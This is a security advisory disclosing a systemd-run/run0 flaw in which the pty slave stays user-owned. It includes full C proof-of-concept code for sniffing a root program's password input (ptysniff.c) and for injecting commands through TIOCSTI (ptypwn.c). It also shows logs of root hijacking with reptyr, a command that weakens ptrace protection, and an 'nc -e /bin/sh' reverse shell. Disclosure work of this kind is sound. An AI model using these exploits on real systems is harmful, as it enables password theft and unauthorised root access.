Systemd Insecure PTY Handling Vulnerability =========================================== CVSSv3.BaseScore: 5.8 CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N Short Description ================= Systemd-run/run0 allocates user-owned pty's and attaches the slave to high privilege programs without changing ownership or locking the pty slave. Description =========== Systemd-run/run0 is working towards a "sudo"-like replacement for v256 that is based on the existing policykit and d-bus based "systemd-run" transient service execution. The code in "src/run/run.c" on line 1673 creates a PTY master and slave used for this process, and the slave name is passed to unlockpt() on line 1689. This allows any process to connect to e.g. "/dev/pts/4" slave interface, this interface is created under the local user context executing "systemd-run". The code subsequently uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication by policykit is approved, the slave end of the pty created will be attached to the privileged executed program. As the slave interface is not locked to the privilege level of the newly executed process, a vulnerability is introduced to the system as any same-user process can now interact with the slave end of the root program. Exploitation ============ This issue can be exploited by opening a handle to the slave interface and using terminal I/O routines such as read() to access the input of the root program. Slave PTY's are not designed for multiple programs to access them and this has the unintended effect of redirecting input intended for the privileged program back to unprivileged processes, an example code "ptysniff.c" is provided here and terminal output that shows the issue being used to read input from a systemd-run executed "passwd" program, returning the password intended for the root program back to the local user. User Terminal ============= The user executes systemd with "--pty" to allocate a new "root" pty and execute "passwd" in the new terminal. fantastic@fantastic-pc /dev/pts  systemd-run --pty passwd ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to manage system services or other units. Authenticating as: fantastic Password: ==== AUTHENTICATION COMPLETE ==== Running as unit: run-u63.service Press ^] three times within 1s to disconnect TTY. New password: Retype new password: Attacker Terminal ================= The slave end of the systemd-run terminal is still owned by the local user context, "/dev/pts/5" in the example above - allowing ptysniff to read the password input intended to be sent to "passwd". fantastic@fantastic-pc  /Work/voldermort  ls -al /dev/pts/5 Permissions Size User Date Modified Name crw--w---- 136,5 fantastic 4 May 08:51  /dev/pts/5 fantastic@fantastic-pc  /Work/voldermort  ./ptysniff /dev/pts/5 Received: p Received: a Received: s Received: s Received: w Received: o Received: r Received: d Received: /* ptysniff.c - read from a slave pts used by a higher privileged program */ #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #define BUF_SIZE 1024 int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <pts>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR | O_NOCTTY); if (fd == -1) { perror("open"); return 1; } char buf[BUF_SIZE]; ssize_t numRead; while (1) { if (flock(fd, LOCK_EX) == -1) { perror("flock"); return 1; } numRead = read(fd, buf, BUF_SIZE - 1); if (numRead == -1) { perror("read"); return 1; } for (int i = 0; i < numRead; i++) { printf("Received: %c\n", buf[i]); } if (flock(fd, LOCK_UN) == -1) { perror("flock"); return 1; } } return 0; } Recommendation ============== It is recommended the systemd-run created pty slave interface is chown()'d to the same user as the privileged execution context that it operates, this would result in "permission denied" when attempting to attach another program to the slave end of the pty. Additional Information ====================== In addition to the vulnerability outlined above, it is possible to exploit the problem to execute commands or completely hijack the root owned program from the same-user context when other conditions are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a protection that limits the use of ptrace for debugging purposes. With ptrace_classic set to enabled, such as with the following command. "echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope" It is possible to simply read the master fd for the pty from the "systemd-run" application, and re-parent a process to use the master end - hijacking the root program which would not be accessible to ptrace. This can be done with GDB (set inferior tty) or a tool such as "reptyr". User Terminal ============= fantastic@fantastic-pc  /Work/systemd   main   systemd-run --shell Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1 Press ^] three times within 1s to disconnect TTY. [root@fantastic-pc systemd]# Attacker Terminal ================= fantastic@fantastic-pc  /Work/systemd   main   ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run --shell uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel) /dev/pts/1 fantastic@fantastic-pc  /Work/systemd   main   reptyr -T 5541 [root@fantastic-pc systemd]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc systemd]# tty /dev/pts/0 Enabling ptrace_classic should not result in "root" permissions to unprivileged users, many operating systems support debugging applications and can do so without immediately giving away Administrative rights, YAMA is intended to provide this protection. However, sessions and terminals started under "SSHD" for instance are protected against these attacks through use of "prctl()" to prevent ptrace_attach from connecting to the process, preventing them being read even with ptrace_classic. This issue can also impact "su" and "sudo" and is a wider problem in Linux when ptrace_classic is enabled. Ensure that production systems do not support the use of ptrace_classic. Another path of exploitation can also be undertaken by an attacker when ptrace_classic is disabled, however they must be able to re-parent their tty or have control of execution of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically required only the same user-context to access the tty, however to limit these attacks Linux now requires the process calling the ioctl() to be a descendant of the parent process using the pty or have the pty set as its controlling terminal. An example is shown here, an attacker uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run by the parent. The source code for ptypwn.c is provided. User Terminal ============= fantastic@fantastic-pc    tty /dev/pts/3 fantastic@fantastic-pc    nc -e /bin/sh localhost 1337 & [1] 6926   fantastic@fantastic-pc    systemd-run --shell ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to manage system services or other units. Authenticating as: fantastic Password: ==== AUTHENTICATION COMPLETE ==== Running as unit: run-u100.service Press ^] three times within 1s to disconnect TTY. [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) [root@fantastic-pc fantastic]# Attacker Terminal ================= fantastic@fantastic-pc  /Work/voldermort  nc -v -v -l -p 1337 Listening on any address 1337 (menandmice-dns) Connection from 127.0.0.1:49282 tty;id not a tty uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel) ./ptypwn /dev/pts/3 ./ptypwn /dev/pts/3 ./ptypwn /dev/pts/3 /* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <pts>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return -1; } char *x = "id\n"; while (*x != 0) { int ret = ioctl(fd, TIOCSTI, x); if (ret == -1) { perror("ioctl()"); } x++; } return 0; } Additionally systemd-run supports a "--pipe" operation which will simply connect the privileged process to the same-user parent tty directly, this option should be removed entirely as it offers no protection against the attacks outlined above. PolicyKit / sudoer Configuration Discrepancy ============================================ It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux environments where users are not permitted to execute commands through "sudo" but are permitted to execute commands through policykit services such as "systemd-run". This can lead to attackers who would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run". An example of this configuration error can be seen below, as "systemd-run" proposes to become a "sudo" replacement, this issue has been included for completeness and for system administrators to review their sudo and policykit configurations to ensure such discrepancies do not exist. fantastic@fantastic-pc    sudo su - fantastic is not in the sudoers file.   fantastic@fantastic-pc    systemd-run --shell ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to manage system services or other units. Authenticating as: fantastic Password: ==== AUTHENTICATION COMPLETE ==== Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. [root@fantastic-pc fantastic]# id uid=0(root) gid=0(root) groups=0(root) TLDR; Conclusion ================ Systemd-run/run0 should chown() the created slave pty interface to the same user context using the pty, this will limit privilege escalation opportunities within the system and address the medium risk issue highlighted at the start of this advisory. The additional information in this advisory discusses wider Linux pty security handling issues, insecure configurations and thier exploitation naunces that can be leveraged for privilege escalation attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similar threats against Microsoft's recently introduced "sudo" that allowed any local user to obtain elevated rights through insecure pipe handlers were quickly addressed. It is also noted that despite the insecure system configurations, applications such as "SSHD" protect against some of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown() is recommended, the Linux community should take note that the attacker threatscape has changed significantly with a renewed interest in targetting these systems by adversaries - consideration should be given to hardening PTY/TTY handling processes and protection against ptrace_classic regardless when privileged system operations take place. Attackers are less likely to use on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the requested permissions at a later date without touching disk from implants or other malicious code that has obtained execution in the contexts described above. In relation to security boundaries, the polkit authentication request sent by systemd-run is ONE-SHOT, as opposed to persitent. This means that every request to systemd-run for elevation should present the user with a password prompt, by exploiting this issue the elevation request behaves as persistent for the lifecycle of the elevated program. -- Hacker Fantastic 04/05/2024 https://hacker.house